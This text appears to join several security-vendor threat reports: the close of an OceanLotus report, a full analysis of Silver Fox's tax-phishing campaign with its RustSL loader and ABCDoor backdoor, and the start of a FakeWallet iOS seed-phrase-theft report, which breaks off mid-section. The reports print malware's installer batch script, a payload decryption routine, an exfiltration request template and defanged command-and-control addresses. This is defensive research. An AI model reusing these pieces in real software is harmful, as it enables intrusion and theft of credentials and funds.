Based on the results from our KTAE system, the dropper used by ZiChatBot shows a 64% similarity to another dropper we analyzed in a TI report, which was linked to OceanLotus. Reverse engineering shows that both droppers use nearly identical algorithms and logic for to decrypt and decompress their embedded payloads.
Analysis results of dropper using KTAE system
Conclusions
As an active APT organization, OceanLotus primarily targets victims in the Asia-Pacific region. However, our previous reports have highlighted a growing trend of the group expanding its activities into the Middle East. Moreover, the attacks described in this report – executed through PyPI – target Python users worldwide. This demonstrates OceanLotus’s ongoing effort to broaden its attack scope.
In the first half of 2025, a public report revealed that the group launched a phishing campaign using GitHub. The recent PyPI-based supply chain attack likely continues this strategy. Although phishing emails are still a common initial infection method for OceanLotus, the group is also actively exploring new ways to compromise victims through diverse supply chain attacks.
In December 2025, we detected a wave of malicious emails designed to look like official correspondence from the Indian tax service. A few weeks later, in January 2026, a similar campaign began targeting Russian organizations. We have attributed this activity to the Silver Fox threat group.
Both waves followed a nearly identical structure: phishing emails were styled as official notices regarding tax audits or prompted users to download an archive containing a “list of tax violations”. Inside the archive was a modified Rust-based loader pulled from a public repository. This loader would download and execute the well-known ValleyRAT backdoor. The campaign impacted organizations across the industrial, consulting, retail, and transportation sectors, with over 1600 malicious emails recorded between early January and early February.
During our investigation, we also discovered that the attackers were delivering a new ValleyRAT plugin to victim devices, which functioned as a loader for a previously undocumented Python-based backdoor. We have named this backdoor ABCDoor. Retrospective analysis reveals that ABCDoor has been part of the Silver Fox arsenal since at least late 2024 and has been utilized in real-world attacks from the first quarter of 2025 to the present day.
Email campaign
In the January campaign, victims received an email purportedly from the tax service with an attached PDF file.
Phishing email sent to victims in Russia
The PDF contained two clickable links to download an archive, both leading to a malicious website: abc.haijing88[.]com/uploads/фнс/фнс.zip.
Contents of the PDF file from the January phishing wave
Contents of the фнс.zip archive
In the December campaign, the malicious code was embedded directly within the files attached to the email.
Phishing email sent to victims in India
The email shown in the screenshot above was sent via the SendGrid cloud platform and contained an archive named ITD.-.rar. Inside was a single executable file, Click File.exe, with an Adobe PDF icon (the RustSL loader).
Contents of ITD.-.rar
Additionally, in late December, emails were distributed with an attachment titled GST.pdf containing two links leading to hxxps://abc.haijing88[.]com/uploads/印度邮箱/CBDT.rar. (印度邮箱 translates from Chinese as “Indian mailbox”).
PDF file from the phishing email
Both versions of the campaign attempt to exploit the perceived importance of tax authority correspondence to convince the victim to download the document and initiate the attack chain. The method of using download links within a PDF is specifically designed to bypass email security gateways; since the attached document only contains a link that requires further analysis, it has a higher probability of reaching the recipient compared to an attachment containing malicious code.
RustSL loader
The attackers utilized a modified version of a Rust-based loader called RustSL, whose source code is publicly available on GitHub with a description in Chinese:
Screenshot of the description from the RustSL loader GitHub project
The description also refers to RustSL as an antivirus bypass framework, as it features a builder with extensive customization options:
Eight payload encryption methods
Thirteen memory allocation methods
Twelve sandbox and virtual machine detection techniques
Thirteen payload execution methods
Five payload encoding methods
Furthermore, the original version of RustSL encrypts all strings by default and inserts junk instructions to complicate analysis.
The Silver Fox APT group first began using a modified version of RustSL in late December 2025.
Silver Fox RustSL
This section examines the key changes the Silver Fox group introduced to RustSL. We will refer to this customized version as Silver Fox RustSL to distinguish it from the original.
The steganography.rs module
The attackers added a module named steganography.rs to RustSL. Despite the name, it has little to do with actual steganography; instead, it implements the unpacking logic for the malicious payload.
The usage of the new module within the Silver Fox RustSL code
The threat actors also modified the RustSL builder to support the new format and payload packing.
The attackers employed several methods to deliver the encrypted malicious payload. In December, we observed files being downloaded from remote hosts followed by delivery within the loader itself. Later, the attackers shifted almost entirely to placing the malicious payload inside the same archive as the loader, disguised as a standalone file with extensions like PNG, HTM, MD, LOG, XLSX, ICO, CFG, MAP, XML, or OLD.
Encrypted malicious payload format
The encrypted payload file delivered by the Silver Fox RustSL loader followed this structure:
<RSL_START>rsl_encrypted_payload<RSL_END>
If additional payload encoding was selected in the builder, the loader would decode the data before proceeding with decryption.
The rsl_encrypted_payload followed this specific format:
Below is a description of the data blocks contained within it:
sha256_hash: the hash of the decrypted payload. After decryption, the loader calculates the SHA256 hash and compares it against this value; if they do not match, the process terminates.
enc_payload_len: the size of the encrypted payload
sgn_iterations and sgn_key: parameters used for decryption
sgn_decoder_size and decoder: unused fields
enc_payload: the primary payload
Notably, the new proprietary steganography.rs module was implemented using the same logic as the public RustSL modules (such as ipv4.rs, ipv6.rs, mac.rs, rc4.rs, and uuid.rs in the decrypt directory). It utilized a similar payload structure where the first 32 bytes consist of a SHA-256 hash and the payload size.
To decrypt the malicious payload, steganography.rs employed a custom XOR-based algorithm. Below is an equivalent implementation in Python:
def decrypt(data: bytes, sgn_key: int, sgn_iterations: int) -> bytes:
buf = bytearray(data)
xor_key = sgn_key & 0xFF
for _ in range(sgn_iterations):
k = xor_key
for i in range(len(buf)):
dec = buf[i] ^ k
if k & 1:
k = (dec ^ ((k >> 1) ^ 0xB8)) & 0xFF
else:
k = (dec ^ (k >> 1)) & 0xFF
buf[i] = dec
return bytes(buf)
The unpacking process consists of the following stages:
Extraction of rsl_encrypted_payload.The loader extracts the encrypted payload body located between the <RSL_START> and <RSL_END> markers.
Original file containing the encrypted malicious payload
XOR decryption with a hardcoded key.Most loaders used the hardcoded key RSL_STEG_2025_KEY.
Payload decoding occurs if the corresponding setting was enabled in the builder.The GitHub version of the builder offers several encoding options: Base64, Base32, Hex, and urlsafe_base64. Silver Fox utilized each option at least once. Base64 was the most frequent choice, followed by Hex and Base32, with urlsafe_base64 appearing in a few samples.
Encrypted malicious payload prior to the final decryption stage
Decryption of the final payload using a multi-pass XOR algorithm that modifies the key after each iteration (as demonstrated in the Python algorithm provided above).
The guard.rs module
Another module added to Silver Fox RustSL is guard.rs. It implements various environment checks and country-based geofencing.
In the earliest loader samples from late December 2025, the Silver Fox group utilized every available method for detecting virtual machines and sandboxes, while also verifying if the device was located in a target country. In later versions, the group retained only the geolocation check; however, they expanded both the list of countries allowed for execution and the services used for verification.
The GitHub version of the loader only includes China in its country list. In customized Silver Fox loaders built prior to January 19, 2026, this list included India, Indonesia, South Africa, Russia, and Cambodia. Starting with a sample dated January 19, 2026 (MD5: e6362a81991323e198a463a8ce255533), Japan was added to the list.
To determine the host country, Silver Fox RustSL sends requests to five public services:
ip-api.com (the GitHub version relies solely on this service)
ipwho.is
ipinfo.io
ipapi.co
www.geoplugin.net
Phantom Persistence
We discovered that a loader compiled on January 7, 2026 (MD5: 2c5a1dd4cb53287fe0ed14e0b7b7b1b7), began to use the recently documented Phantom Persistence technique to establish persistence. This method abuses functionality designed to allow applications requiring a reboot for updates to complete the installation process properly. The attackers intercept the system shutdown signal, halt the normal shutdown sequence, and trigger a reboot under the guise of an update for the malware. Consequently, the loader forces the system to execute it upon OS startup. This specific sample was compiled in debug mode and logged its activity to rsl_debug.log, where we identified strings corresponding to the implementation of the Phantom Persistence technique:
[unix_timestamp] God-Tier Telemetry Blinding: Deployed via HalosGate Indirect Syscalls.
[unix_timestamp] RSL started in debug mode.
[unix_timestamp] ==========================================
[unix_timestamp] Phantom Persistence Module (Hijack Mode)
[unix_timestamp] ==========================================
[unix_timestamp] [*] Calling RegisterApplicationRestart...
[unix_timestamp] [+] RegisterApplicationRestart succeeded.
[unix_timestamp] [*] Note: This API mainly works for application crashes, not for user-initiated shutdowns.
[unix_timestamp] [*] For full persistence, you need to trigger the shutdown hijack logic.
[unix_timestamp] [*] Starting message thread to monitor shutdown events...
[unix_timestamp] [+] SetProcessShutdownParameters (0x4FF) succeeded.
[unix_timestamp] [+] Window created successfully, message loop started.
[unix_timestamp] [+] Phantom persistence enabled successfully.
[unix_timestamp] [*] Hijack logic: Shutdown signal -> Abort shutdown -> Restart with EWX_RESTARTAPPS.
[unix_timestamp] Phantom persistence enabled.
[unix_timestamp] Mouse movement check passed.
[unix_timestamp] IP address check passed.
[unix_timestamp] Pass Sandbox/VM detection.
Attack chain and payloads
During this phishing campaign, Silver Fox utilized two primary methods for delivering malicious archives:
As an email attachment
Via a link to an external attacker-controlled website contained within a PDF attachment
We also observed three different ways the payload was positioned relative to the loader:
Embedded within the loader body
Hosted on an external website as a PNG image
Placed within the same archive as the loader
The diagram below illustrates the attack chain using the example of an email containing a PDF file and the subsequent delivery of a malicious payload from an external attacker-controlled website.
Attack chain of the campaign utilizing the RustSL loader
The infection chain begins when the user runs an executable file (the Silver Fox modification of the RustSL loader) disguised with a PDF or Excel icon. RustSL then loads an encrypted payload, which functions as shellcode. This shellcode then downloads an encrypted ValleyRAT (also known as Winos 4.0) backdoor module named 上线模块.dll from the attackers’ server. The filename translates from Chinese as “online-module.dll”, so for the sake of clarity, we’ll refer to it as the Online module.
Beginning of the decrypted payload: shellcode for loading the ValleyRAT (Winos 4.0) Online module
The Online module proceeds to load the core component of ValleyRAT: the Login module (the original filename 登录模块.dll_bin translates from Chinese as “login-module.dll_bin”). This module manages C2 server communication, command execution, and the downloading and launching of additional modules.
The initial shellcode, as well as the Online and Login modules, utilize a configuration located at the end of the shellcode:
End of the decrypted payload: ValleyRAT (Winos 4.0) configuration
The values between the “|” delimiters are written in reverse order. By restoring the correct character sequence, we obtain the following string:
The key configuration parameters in this string are:
p#, o#: IP addresses and ports of the ValleyRAT C2 servers in descending order of priority
bz: the creation date of the configuration
The Silver Fox group has long employed the infection chain described above – from the encrypted shellcode through the loading of the Login module – to deploy ValleyRAT. This procedure and its configuration parameters are documented in detail in industry reports: (1, 2, and 3).
Once the Login module is running, ValleyRAT enters command-processing mode, awaiting instructions from the C2. These commands include the retrieval and execution of various additional modules.
ValleyRAT utilizes the registry to store its configurations and modules:
Registry key
Description
HKCU:\Console\0
For x86-based modules
HKCU:\Console\1
For x64-based modules
HKCU:\Console\IpDate
Hardcoded registry location checked upon Login module startup
HKCU:\Software\IpDates_info
Final configuration
The ValleyRAT builder leaked in March 2025 contained 20 primary and over 20 auxiliary modules. During this specific phishing campaign, we discovered that after the main module executed, it loaded two previously unseen modules with similar functionality. These modules were responsible for downloading and launching a previously undocumented Python-based backdoor we have dubbed ABCDoor.
Custom ValleyRAT modules
The discovered modules are named 保86.dll and 保86.dll_bin. Their parameters are detailed in the table below.
HKCU:\Console\0 registry key value
Module name
Library MD5 hash
Compiled date and time (UTC)
fc546acf1735127db05fb5bc354093e0
保86.dll
4a5195a38a458cdd2c1b5ab13af3b393
2025-12-04 04:34:31
fc546acf1735127db05fb5bc354093e0
保86.dll
e66bae6e8621db2a835fa6721c3e5bbe
2025-12-04 04:39:32
2375193669e243e830ef5794226352e7
保86.dll_bin
e66bae6e8621db2a835fa6721c3e5bbe
2025-12-04 04:39:32
Of particular note is the PDB path found in all identified modules: C:\Users\Administrator\Desktop\bat\Release\winos4.0测试插件.pdb. In Chinese, 测试插件 translates to “test plugin”, which may suggest that these modules are still in development.
Upon execution, the 保86.dll module determines the host country by querying the same five services used by the guard.rs module in Silver Fox RustSL: ipinfo.io, ip-api.com, ipapi.co, ipwho.is, and geoplugin.net. For the module to continue running, the infected device must be located in one of the following countries:
Countries where the 保86.dll module functions
If the geolocation check passes, the module attempts to download a 52.5 MB archive from a hardcoded address using several methods. The sample with MD5 4a5195a38a458cdd2c1b5ab13af3b393 queried hxxp://154.82.81[.]205/YD20251001143052.zip, while the sample with MD5 e66bae6e8621db2a835fa6721c3e5bbe queried
hxxp://154.82.81[.]205/YN20250923193706.zip.
Interestingly, Silver Fox updated the YD20251001143052.zip archive multiple times but continued to host it on the same C2 (154.82.81[.]205) without changing the filename.
The module implements the following download methods:
Using the InternetReadFile function with the User-Agent PythonDownloader
The archive was saved to the path %LOCALAPPDATA%\appclient\111.zip.
Contents of the 111.zip archive
The archive is quite large because the python directory contains a Python environment with the packages required to run the previously unknown ABCDoor backdoor (which we will describe in the next section), while the ffmpeg directory includes ffmpeg.exe, a statically linked, legitimate audio/video tool that the backdoor uses for screen capturing.
Once downloaded, the DLL module extracts the archive using COM methods and runs the following command to execute update.bat:
The update.bat script copies the extracted files to C:\ProgramData\Tailscale. This path was chosen intentionally: it corresponds to the legitimate utility Tailscale (a mesh VPN service based on the WireGuard protocol that connects devices into a single private network). By mimicking a VPN service, the attackers likely aim to mask their presence and complicate the analysis of the compromised system.
@echo off
set "script_dir=%~dp0"
set SRC_DIR=%script_dir%
set DES_DIR=C:\ProgramData\Tailscale
rmdir /s /q "%DES_DIR%"
mkdir "%DES_DIR%"
call :recursiveCopy "%SRC_DIR%" "%DES_DIR%"
start "" /B "%DES_DIR%\python\pythonw.exe" -m appclient
exit /b
:recursiveCopy
set "src=%~1"
set "dest=%~2"
if not exist "%dest%" mkdir "%dest%"
for %%F in ("%src%\*") do (
copy "%%F" "%dest%" >nul
)
for /d %%D in ("%src%\*") do (
call :recursiveCopy "%%D" "%dest%\%%~nxD"
)
exit /b
Contents of update.bat
After copying the files, the script launches the appclient Python module using the legitimate pythonw tool:
The primary entry point for the appclient module, the __main__.py file, contains only a few lines of code. These lines are responsible for utilizing the setproctitle library and executing the run function, to which the C2 address is passed as a parameter.
Code for main.py: the module entry point
The setproctitle library is primarily used on Linux or macOS systems to change a displayed process name. However, its functionality is significantly limited on Windows; rather than changing the process name itself, it creates a named object in the format python(<pid>): <proctitle>. For example, for the appclient module, this object would appear as follows:
We believe the use of setproctitle may indicate the existence of backdoor versions for non-Windows systems, or at least plans to deploy it in such environments.
The appclient.core module has a PYD extension and is a DLL file compiled with Cython 3.0.7. This is the core module of the backdoor, which we have named ABCDoor because nearly all identified C2 addresses featured the third-level domain abc.
Upon execution, the backdoor establishes persistence in the following locations:
Windows registry: It adds "<path_to_pythonw.exe>" -m appclient to the value HKCU:\Software\Microsoft\Windows\CurrentVersion\Run:AppClient, e.g:
The command creates a task named “AppClient” that runs every minute.
The backdoor is built on the asyncio and Socket.IO Python libraries. It communicates with its C2 via HTTPS and uses event handlers to processes messages asynchronously. The backdoor follows object-oriented programming principles and includes several distinct classes:
MainManager: handles C2 connection and authorization (sending system metadata)
MessageManager: registers and executes message handlers
AutoStartManager: manages backdoor persistence
ClientManager: handles backdoor updates and removal
SystemInfoManager: collects data from the victim’s system, including screenshots
RemoteControlManager: enables remote mouse and keyboard control via the pynput library and manages screen recording (using the ScreenRecorder child class)
FileManager: performs file system operations
KeyboardManager: emulates keyboard input
ProcessManager: manages system processes
ClipboardManager: exfiltrates clipboard contents to the C2
CryptoManager: provides functions for encrypting and decrypting files and directories (currently limited to DPAPI; asymmetric encryption functions lack implementation)
First, the get_machine_guid_via_file_func function attempts to read an identifier from the file %LOCALAPPDATA%\applogs\device.log. If the file does not exist, it is created and initialized with a random UUID4 value. However, immediately after this, the get_machine_guid_via_reg function overwrites the identifier obtained by the first function with the value from HKLM:\SOFTWARE\Microsoft\Cryptography:MachineGuid. This likely indicates a bug in the code.
The primary characteristic of this backdoor is the absence of typical remote control features, such as creating a remote shell or executing arbitrary commands. Instead, it implements two alternative methods for manipulating the infected device:
Emulating a double click while broadcasting the victim’s screen
A "file_open" message within the FileManager class, which calls the os.startfile function. This executes a specified file using the ShellExecute function and the default handler for that file extension
For screen broadcasting, the backdoor utilizes a standalone ffmpeg.exe file included in the ABCDoor archive. While early versions could only stream from a single monitor, recent iterations have introduced support for streaming up to four monitors simultaneously using the Desktop Duplication API (DDA). The broadcasting process relies on the screen capture functions RemoteControl::ScreenRecorder::start_single_monitor_ddagrab, RemoteControl::ScreenRecorder::start_multi_monitor_ddagrab, and RemoteControl::ScreenRecorder::test_ddagrab_support. These functions generate a lengthy string of launch arguments for ffmpeg; these arguments account for monitor orientation (vertical or horizontal) and quantity, stitching the data into a single, cohesive stream.
Because ABCDoor runs within a legitimate pythonw.exe process, it can remain hidden on a victim’s system for extended periods. However, its operation involves various interactions with the registry and file system that can be used for detection. Specifically, ABCDoor:
Writes its initial installation timestamp to the registry value HKCU:\Software\CarEmu:FirstInstallTime
Creates the directory and file %LOCALAPPDATA%\applogs\device.log to store the victim’s ID
Logs any exceptions to %LOCALAPPDATA%\applogs\exception_logs.zip. Interestingly, Silver Fox even implemented a Utility::upload_exception_logs function to send this archive to a specified URI, likely to help debug and refine the malware’s performance
Additionally, ABCDoor features self-update and self-deletion capabilities that generate detectable artifacts. Updates are downloaded from a specific URI to %TEMP%\tmpXXXXXXXX\update.zip (where XXXXXXXX represents random alphanumeric characters), extracted to %TEMP%\tmpXXXXXXXX\update, and executed via a PowerShell command:
The existing ABCDoor process is then forcibly terminated.
ABCDoor versions
Through retrospective analysis, we discovered that the earliest version of ABCDoor (MD5: 5b998a5bc5ad1c550564294034d4a62c) surfaced in late 2024. The backdoor evolved rapidly throughout 2025. The table below outlines the primary stages of its evolution:
Version
Compiled date (UTC)
Key updates
ABCDoor .pyd MD5 hash
121
2024.12.19 18:27:11
– Minimal functionality (file downloads, remote control using the Graphics Device Interface (GDI) in ffmpeg)
– No OOP used
– Registry persistence
– DPAPI encryption functions
– Chunked file uploading to C2
de8f0008b15f2404f721f76fac34456a
154
2025.05.09 13:36:24
– Implementation of installation channels
– Key combination emulation
9bf9f635019494c4b70fb0a7c0fb53e4
156
2025.08.11 13:36:10
– Retrieval and logging of initial installation time to the registry
a543b96b0938de798dd4f683dd92a94a
157
2025.08.28 14:23:57
– Use of DDA source in ffmpeg for monitor screen broadcasting
fa08b243f12e31940b8b4b82d3498804
157
2025.09.23 11:38:17
– Compiled with Cython 3.0.7 (previous version used Cython 3.0.12)
13669b8f2bd0af53a3fe9ac0490499e5
Evolution of ABCDoor distribution methods
Although the first version of the backdoor appeared in late 2024, the threat actor likely began using it in attacks around February or March 2025. At that time, the backdoor was distributed using stagers written in C++ and Go:
C++ stagerThe file GST Suvidha.exe (MD5: 04194f8ddd0518fd8005f0e87ae96335) downloaded a loader (MD5: f15a67899cfe4decff76d4cd1677c254) from hxxps://mcagov[.]cc/download.php?type=exe. This loader then downloaded the ABCDoor archive from hxxps://abc.fetish-friends[.]com/uploads/appclient.zip, extracted it, and executed it.
Go stagerThe file GSTSuvidha.exe (MD5: 11705121f64fa36f1e9d7e59867b0724) executed a remote PowerShell script:
Thanks to these “channel” names, we identified overlaps between ABCDoor and other malicious files likely belonging to Silver Fox. These are NSIS installers featuring the branding of the Ministry of Corporate Affairs of India (responsible for regulating industrial companies and the services sector). These installers establish a connection to the attackers’ server at hxxps://vnc.kcii2[.]com, providing them with remote access to the victim’s device. Below is the list of files we identified:
The file MCA-Ministry.exe (MD5: 32407207e9e9a0948d167dca96c41d1a) was also hosted on one of the servers used by the ABCDoor stagers and was downloaded via TinyURL:
Starting in November 2025, the attackers began using a JavaScript loader to deliver ABCDoor. This was distributed via self-extracting (SFX) archives, which were further packaged inside ZIP archives:
November Statement.zip (MD5: b500e0a8c87dffe6f20c6e067b51afbf) (BillReceipt.exe)
December Statement.zip (MD5: 814032eec3bc31643f8faa4234d0e049) (statement.exe)
December Statement.zip (MD5: 90257aa1e7c9118055c09d4a978d4bee) (statement verify .exe)
Statement of Account.zip (MD5: f8371097121549feb21e3bcc2eeea522) (Review the file.exe)
The ZIP archives were likely distributed through phishing emails. They contained one of two SFX files: BillReceipt.exe (MD5: 2b92e125184469a0c3740abcaa10350c) or Review the file.exe (MD5: 043e457726f1bbb6046cb0c9869dbd7d), which differed only in their icons.
Icons of the SFX archives
When executed, the SFX archive ran the following script:
SFX archive script
This script launched run_direct.ps1, a PowerShell script contained within the archive.
The run_direct.ps1 script
The run_direct.ps1 script checked for the presence of NodeJS in the standard directory on the victim’s computer (%USERPROFILE%\.node\node.exe). If it was not found, the script downloaded the official NodeJS version 22.19.0, extracted it to that same folder, and deleted the archive. It then executed run.deobfuscated.obf.js – also located in the SFX archive – using the identified (or newly installed) NodeJS, passing two parameters to it: an encrypted configuration string and a XOR key for decryption:
Decrypted configuration for the JS loader
The JS code being executed is heavily obfuscated (likely using obfuscate.io). Upon execution, it writes the channel parameter value from the configuration to the registry at HKCU:\Software\CarEmu:InstallChannel as a REG_SZ type. It then downloads an archive from the link specified in the zipUrl parameter and saves it to %TEMP%\appclient_YYYYMMDDHHMMSS.zip (or /tmp on Linux). The script extracts this archive to the %USERPROFILE%\AppData\Local\appclient directory (%HOME%/AppData/Local/appclient on Linux) and launches it by running cmd /c start /min python/pythonw.exe -m appclient in background mode with a hidden window. After extraction, the script deletes the ZIP archive.
Additionally, the code calls a console logging function after nearly every action, describing the operations in Chinese:
Log fragments gathered from throughout the JS code
Victims
As previously mentioned, Silver Fox RustSL loaders are configured to operate in specific countries: Russia, India, Indonesia, South Africa, and Cambodia. The most recent versions of RustSL have also added Japan to this list. According to our telemetry, users in all of these countries – with the exception of Cambodia – have encountered RustSL. We observed the highest number of attacks in India, Russia, and Indonesia.
Distribution of RustSL loader attacks by country, as a percentage of the total number of detections (download)
The majority of loader samples we discovered were contained within archives with tax-related filenames. Consequently, we can attribute these attacks to a single campaign with a high degree of confidence. That Silver Fox has been sending emails on behalf of the tax authorities in Japan has also been reported by our industry peers.
Conclusion
In the campaign described in this post, attackers exploited user trust in official tax authority communications by disguising malicious files as documents on tax violations. This serves as another reminder of the critical need for vigilance and the thorough verification of all emails, even those purportedly from authoritative sources. We recommend that organizations improve employee security awareness through regular training and educational courses.
During these attacks, we observed the use of both established Silver Fox tools, such as ValleyRAT, and new additions – including a customized version of the RustSL loader and the previously undocumented ABCDoor backdoor. The attackers are also expanding their geographic focus: Russian organizations became a primary target in this campaign, and Japan was added to the supported country list in the malware’s configuration. Theoretically, the group could add other countries to this list in the future.
The Silver Fox group employs a multi-stage approach to payload delivery and utilizes a segmented infrastructure, using different addresses and domains for various stages of the attack. These techniques are designed to minimize the risk of detection and prevent the blocking of the entire attack chain. To identify such activity in a timely manner, organizations should adopt a comprehensive approach to securing their infrastructure.
Detection by Kaspersky solutions
Kaspersky security solutions successfully detect malicious activity associated with the attacks described in this post. Let’s look at several detection methods using Kaspersky Endpoint Detection and Response Expert.
The activity of the malware described in this article can be detected when the command interpreter, while executing commands from a suspicious process, initiates a covert request to external resources to download and install the Node.js interpreter. KEDR Expert detects this activity using the nodejs_dist_url_amsi rule.
Silver Fox activity can also be detected by monitoring requests to external services to determine the host’s network parameters. The attacker performs these actions to obtain the external IP address and analyze the environment. The KEDR Expert solution detects this activity using the access_to_ip_detection_services_from_nonbrowsers rule.
After running the command cmd /c start /min python/pythonw.exe -m appclient, the Silver Fox payload establishes persistence on the system by modifying the value of the UserInitMprLogonScript parameter in the HKCU\Environment registry key. This allows attackers to ensure that malicious scripts run when the user logs in. Such registry manipulations can be detected. The KEDR Expert solution does this using the persistence_via_environment rule.
In March 2026, we uncovered more than twenty phishing apps in the Apple App Store masquerading as popular crypto wallets. Once launched, these apps redirect users to browser pages designed to look similar to the App Store and distributing trojanized versions of legitimate wallets. The infected apps are specifically engineered to hijack recovery phrases and private keys. Metadata from the malware suggests this campaign has been flying under the radar since at least the fall of 2025.
We’ve seen this happen before. Back in 2022, ESET researchers spotted compromised crypto wallets distributed through phishing sites. By abusing iOS provisioning profiles to install malware, attackers were able to steal recovery phrases from major hot wallets like Metamask, Coinbase, Trust Wallet, TokenPocket, Bitpie, imToken, and OneKey. Fast forward four years, and the same crypto-theft scheme is gaining momentum again, now featuring new malicious modules, updated injection techniques, and distribution through phishing apps in the App Store.
Kaspersky products detect this threat as HEUR:Trojan-PSW.IphoneOS.FakeWallet.* and HEUR:Trojan.IphoneOS.FakeWallet.*.
Technical details
Background
This past March, we noticed a wave of phishing apps topping the search results in the Chinese App Store, all disguised as popular crypto wallets. Because of regional restrictions, many official crypto wallet apps are currently unavailable to users in China, specifically if they have their Apple ID set to the Chinese region. Scammers are jumping on this opportunity. They’ve launched fake apps using icons that mirror the originals and names with intentional typos – a tactic known as typosquatting – to slip past App Store filters and increase their chances of deceiving users.
App Store search results for “Ledger Wallet” (formerly Ledger Live)
In some instances, the app names and icons had absolutely nothing to do with cryptocurrency. However, the promotional banners for these apps claimed that the official wallet was “unavailable in the App Store” and directed users to download it through the app instead.
Promotional screenshots from apps posing as the official TokenPocket app
During our investigation, we identified 26 phishing apps in the App Store mimicking the following major wallets:
MetaMask
Ledger
Trust Wallet
Coinbase
TokenPocket
imToken
Bitpie
We’ve reported all of these findings to Apple, and several of the malicious apps have already been pulled from the store.
We also identified several similar apps that didn’t have any phishing functionality yet, but showed every sign of being linked to the same threat actors. It’s highly likely that the malicious features were simply waiting to be toggled on in a future update.
The phishing apps featured stubs – functional placeholders that mimicked a legitimate service – designed to make the app appear authentic. The stub could be a game, a calculator, or a task planner.
However, once you launched the app, it would open a malicious link in your browser. This link kicks off a scheme leveraging provisioning profiles to install infected versions of crypto wallets onto the victim’s device. This technique isn’t exclusive to FakeWallet; other iOS threats, like SparkKitty, use similar methods. These profiles come in a few flavors, one of them being enterprise provisioning profiles. Apple designed these so companies could create and deploy internal apps to employees without going through the App Store or hitting device limits. Enterprise provisioning profiles are a favorite tool for makers of software cracks, cheats, online casinos, pirated mods of popular apps, and malware.
An infected wallet and its corresponding profile used for the installation process
Malicious modules for hot wallets
The attackers have churned out a wide variety of malicious modules, each tailored to a specific wallet. In most cases, the malware is delivered via a malicious library injection, though we’ve also come across builds where the app’s original source code was modified.
To embed the malicious library, the hackers injected load commands into the main executable. This is a standard trick to expand an app’s functionality without a rebuild. Once the library is loaded, the dyld linker triggers initialization functions, if present in the library. We’ve seen this implemented in different ways: sometimes by adding a load method to specific Objective-C classes, and other times through standard C++ functions.
The logic remains the same across all initialization functions: the app loads or initializes its configuration, if available, and then swaps out legitimate class methods for malicious versions. For instance, we found a malicious library named libokexHook.dylib embedded in a modified version of the Coinbase app. It hijacks the original viewDidLoad method within the RecoveryPhraseViewController class, the part of the code responsible for the screen where the user enters their recovery phrase.
A code snippet where a malicious initialization function hijacks the original viewDidLoad method of the class responsible for the recovery phrase screen
The compromised viewDidLoad method works by scanning the screen in the current view controller (the object managing that specific app screen) to hunt for mnemonics – the individual words that make up the seed phrase. Once it finds them, it extracts the data, encrypts it, and beams it back to a C2 server. All these malicious modules follow a specific process to exfiltrate data:
The extracted mnemonics are stringed together.
This string is encrypted using RSA with the PKCS #1 scheme.
The encrypted data is then encoded into Base64.
Finally, the encoded string – along with metadata like the malicious module type, the app name, and a unique identification code – is sent to the attackers’ server.
The malicious viewDidLoad method at work, scraping seed phrase words from individual subviews
In this specific variant, the C2 server address is hardcoded directly into the executable. However, in other versions we’ve analyzed, the Trojan pulls the address from a configuration file tucked away in the app folder.
The POST request used to exfiltrate those encrypted mnemonics looks like this:
POST <c2_domain>/api/open/postByTokenPocket?ciyu=<base64_encoded_encrypted_mnemonics>&code=10001&ciyuType=1&wallet=ledger
The version of the malicious module targeting Trust Wallet stands out from the rest. It skips the initialization functions entirely. Instead, the attackers injected a custom executable section, labeled __hook, directly into the main executable. They placed it right before the __text section, specifically in the memory region usually reserved for load commands in the program header. The first two functions in this section act as trampolines to the dlsym function and the mnemonic validation method within the original WalletCore class. These are followed by two wrapper functions designed to:
Resolve symbols dataInit or processX0Parameter from the malicious library
Hand over control to these newly discovered functions
Execute the code for the original methods that the wrapper was built to replace
The content of the embedded __hook section, showing the trampolines and wrapper functions
These wrappers effectively hijack the methods the app calls whenever a user tries to restore a wallet using a seed phrase or create a new one. By following the same playbook described earlier, the Trojan scrapes the mnemonics directly from the corresponding screens, encrypts them, and beams them back to the C2 server.
The Ledger wallet malicious module
The modules we’ve discussed so far were designed to rip recovery phrases from hot wallets – apps that store and use private keys directly on the device where they are installed. Cold wallets are a different beast: the keys stay on a separate, offline device, and the app is just a user interface with no direct access to them. To get their hands on those assets, the attackers fall back on old-school phishing.
We found two versions of the Ledger implant, one using a malicious library injection and another where the app’s source code itself was tampered with. In the library version, the malware sneaks in through standard entry points: two Objective-C initialization functions (+[UIViewController load] and +[UIView load]) and a function named entry located in the __mod_init_functions section. Once the malicious library is loaded into the app’s memory, it goes to work:
The entry function loads a configuration file from the app directory, generates a user UUID, and attempts to send it to the server specified by the login-url The config file looks like this:
{
"url": "hxxps://iosfc[.]com/ledger/ios/Rsakeycatch.php", // C2 for mnemonics
"code": "10001", // special code "login-url": "hxxps://xxx[.]com",
"login-code": "88761"
}
Two other initialization functions, +[UIViewController load] and +[UIView load], replace certain methods of the original app classes with their malicious payload.
As soon as the root screen is rendered, the malware traverses the view controller hierarchy and searches for a child screen named add-account-cta or one containing a $ sign:
If it is the add-account-cta screen, the Trojan identifies the button responsible for adding a new account and matches its text to a specific language. The Trojan uses this to determine the app’s locale so it can later display a phishing alert in the appropriate language. It then prepares a phishing notification whose content will require the user to pass a “security check”, and stores it in an object of GlobalVariables
If it’s a screen with a $ sign in its name, the malware scans its content using a regular expression to extract the wallet balance and attempt to send this balance information to a harmless domain specified in the configuration as login-url. We assume this is outdated testing functionality left in the code by mistake, as the specified domain is unrelated to the malware.
Then, when any screen is rendered, one of the malicious handlers checks its name. If it is the screen responsible for adding an account or buying/selling cryptocurrency, the malware displays the phishing notification prepared earlier. Clicking on this notification opens a WebView window, where the local HTML file html serves as the page to display.
The verify.html phishing page prompts the user to enter their mnemonics. The malware then checks the seed phrase entered by the user against the BIP-39 dictionary, a standard that uses 2048 mnemonic words to generate seed phrases. Additionally, to lower the victim’s guard, the phishing page is designed to match the app’s style and even supports autocomplete for mnemonics to project quality. The seed phrase is passed to an Objective-C handler, which merges it into a single string, encrypts it using RSA with the PKCS #1 scheme, and sends it to the C2 server along with additional data – such as the malicious module type, app name, and a specific config code – via an HTTP POST request to the /ledger/ios/Rsakeycatch.php endpoint.
The Objective-C handler responsible for exfiltrating mnemonics
The second version of the infected Ledger wallet involves changes made directly to the main code of the app written in React Native. This approach eliminates the need for platform-specific libraries and allows attackers to run the same malicious module across different platforms. Since the Ledger Live source code is publicly available, injecting malicious code into it is a straightforward task for the attackers.
The infected build includes two malicious screens:
